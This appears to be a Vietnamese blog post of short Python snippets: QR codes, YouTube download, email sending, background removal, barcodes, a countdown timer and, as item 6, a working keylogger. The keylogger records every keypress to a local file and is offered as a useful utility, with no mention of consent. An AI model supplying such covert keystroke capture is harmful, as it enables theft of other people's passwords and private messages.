Tuyển tập code Python hữu ích

Lập trình Python

1. Sử dụng mã QR trong Python

#First Install below Modules
#pip install pyqrcode
#pip install pypng
import pyqrcode
import png

from pyqrcode import QRCode

#String which reprecent The QR Code
s = "www.vniteach.com"

#Generate QR Code
url = pyqrcode.create(s)

#Create Save The Svg File Naming "myqr.svg"
url.svg("myqr.svg", scale = 8)

#Create Save The Png File Naming "myqr.png"
url.png("myqr.png", scale = 6)

2. Youtube Video Downloaded

#pip install pytube
import pytube

link = input("Enter Youtube Video URL: ")
yt = pytube.YouTube(link)
yt.streams.first().download()
print("Downloaded",link)

3. Send Email Using Python

import smtplib
from_email = "test@gmail.com"
password = "test123"
text = "Hello World"
to_email = "receipentemail@gmail.com"

connection = smtplib.SMTP("smtp.gmail.com",587)
connection.starttls()
connection.login(user=from_email, password=password)

connection.sendmail(from_addr= from_email,to_addrs= to_email,msg = text)
connection.close()

4. Tách nền ảnh

from rembg import remove
from PIL import Image
input_path = 'cl.jpg'
output_path = 'output.png'
input = Image.open(input_path)
output = remove(input)
output.save(output_path)

5. Tạo Barcode trong Python

import barcode
from barcode.writer import ImageWriter

#Define content of the barcode as a string
number = input("Enter the code to generate barcode: ")

#Get the required barcode format
barcode_format = barcode.get_barcode_class('upc')

#Generate barcode and render as image
my_barcode = barcode_format(number, writer=ImageWriter())

#Save barcode as PNG
my_barcode.save("generated_barcode")

6. Ghi lại lịch sử bàn phím

from pynput.keyboard import Listener

def anonymous(key):
    key = str(key)
    if key == "Key.f12":
        raise SystemExit(0)
    if key == "Key.ctrl_l":
        key = ""
    if key == "Key.enter":
        key = "\n"
    with open("log.txt", "a") as file:
        file.write(key)

with Listener(on_press=anonymous) as hacker:
    hacker.join()

7. Đồng hồ đếm ngược

import time

def countdown(t):
    while t:
        mins, secs = divmod(t, 60)
        timer = '{:02d}:{:02d}'.format(mins, secs)
        print(timer, end="\r")
        time.sleep(1)
        t -= 1
    print('Timer complete!')

t = input('Enter the time in seconds: ')
countdown(int(t))

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *